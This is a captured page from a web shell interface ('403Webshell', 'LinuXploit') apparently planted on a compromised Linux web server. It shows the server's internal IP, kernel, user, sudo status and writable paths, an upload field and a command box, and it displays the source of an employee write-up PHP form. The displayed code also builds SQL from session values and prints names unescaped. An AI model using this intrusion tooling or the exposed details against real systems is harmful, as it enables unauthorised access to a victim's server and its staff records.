403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hans_sites/ylreports.com_new/writeUps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hans_sites/ylreports.com_new/writeUps/index.php
<?php
	session_start();
	include_once($_SERVER['DOCUMENT_ROOT'].'/php/ua.php');
	include_once($_SERVER['DOCUMENT_ROOT'].'/php/mysql.php');
	if(empty($_SESSION['db_name'])) {
		header("Location: /");
	}
	
	$managers = array();
	$res = $db->get_results("SELECT id,name FROM {$_SESSION['db_name']}.managers WHERE store_id='".$db->clean($_SESSION['store_id'])."' ORDER BY name ASC");
	foreach($res as $r) {
		$managers[$r->id] = $r->name;
	}
	$employees = array();
	$res = $db->get_results("SELECT employee,worker FROM {$_SESSION['db_name']}.employees WHERE store_id='".$db->clean($_SESSION['store_id'])."' AND status='active' ORDER BY worker ASC");
	foreach($res as $r) {
		$employees[$r->employee] = $r->worker;
	}
	ob_start();
?>
<script type="text/javascript">
	function save_write_up(me) {
		if($('#workerChoice').val()=='') {
			$('#workerChoice').addClass('box-pop');
			setTimeout(function(){
				$('#workerChoice').removeClass('box-pop');
			}, 400);
		} else {
			var extra_args = arguments;
			var str = "worker=" + $('#workerChoice').val();
			$(me).find('input,select,textarea').each(function() {
				if(this.type=='checkbox' || this.type=='radio') {
					if($(this).is(':checked')) {
						str += '&' + this.name + '=' + encodeURIComponent($(this).val());
					}
				} else {
					str += '&' + this.name + '=' + encodeURIComponent($(this).val());
				}
			});
			$('#appLoader').show();
			$.ajax
			({
				cache: false,
				type: "POST",
				data: str,
				url: "/writeUps/save.php",
				success: function(msg)
				{
					$('#appLoader').hide();
					$('#writeUpsForm').get(0).reset();
				},error: function(jqXHR, textStatus, errorThrown){
					$('#appLoader').hide();
					alert(textStatus+' : '+errorThrown);
				}
			});
		}
	}
	function check_worker() {
		if($('#workerChoice').val()=='') {
			$('#workerChoice').addClass('box-pop');
			setTimeout(function(){
				$('#workerChoice').removeClass('box-pop');
			}, 400);
		}
	}
</script>
<div class="rb">
	<center>
		<div class="relative iblock center-center ng-scope">
			<div class="relative iblock border white-bg" style="width:300px; height:520px; padding-top:20px;">
				<div class="continer-fluid">
					<div class="row">
						<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
							<form name="writeUpsForm" id="writeUpsForm" method="post" onsubmit="save_write_up(this); return false;" enctype="multipart/form-data">
								<div class="relative block p10 f24 bold">
									Write Up
								</div>
								<div class="relative block p10 center" style="padding-top:0px;">
									<div class="relative iblock center">
										<label>
											<span class="f18 bold">
												Who are you writing up?
											</span>
											<br>
											<select id="workerChoice" name="worker" required class="relative iblock f18 dark-gray" style="top:0px; width:180px;">
												<option value=""></option>
												<?php foreach($employees as $k=>$v) { ?>
												<option value="<?= $k;?>"><?= $v;?></option>
												<?php } ?>
											</select>
										</label>
									</div>
								</div>
								<div class="relative block p10 center" style="padding-top:0px;">
									<div class="relative iblock center">
										<label>
											<span class="f18 bold"> 
												Who are you?
											</span>
											<br>
											<select id="managerSelect" name="manager" required class="relative iblock f18 dark-gray" style="top:0px; width:180px;">
												<option value=""></option>
												<?php foreach($managers as $k=>$v) { ?>
												<option value="<?= $k;?>"><?= $v;?></option>
												<?php } ?>
											</select>
										</label>
									</div>
								</div>
								<div class="relative block p10 center" style="padding-top:0px;">
									<div class="relative iblock center">
										<label>
											<span class="f18 bold"> 
												Severity?
											</span>
											<br>
											<select id="severitySelect" name="severity" required class="relative iblock f18 dark-gray" style="top:0px; width:180px;">
												<option value=""></option>
												<option value="white">Not Bad: White</option>
												<option value="pink">Kind of Bad: Pink</option>
												<option value="yellow">Bad: Yellow</option>
												<option value="red">Really Bad: Red</option>
											</select>
										</label>
									</div>
								</div>
								<div class="relative block p10 center" style="padding-top:0px;">
									<div class="relative iblock center">
										<label>
											<span class="f18 bold"> 
												What happened?
											</span>
											<br>
											<textarea name="description" class="relative block f18 dark-gray" style="width:100%; height:64px;" required></textarea>
										</label>
									</div>
								</div>
								<div class="relative block p10 center">
									<button type="submit" class="btn btn-danger btn-lg">
										Submit
									</button>
								</div>
							</form>
						</div>
					</div>
				</div>
			</div>
		</div>
	</center>
</div>
<?php
$body = ob_get_clean();
include($_SERVER['DOCUMENT_ROOT'].'/layout/body.php');

Youez - 2016 - github.com/yon3zu
LinuXploit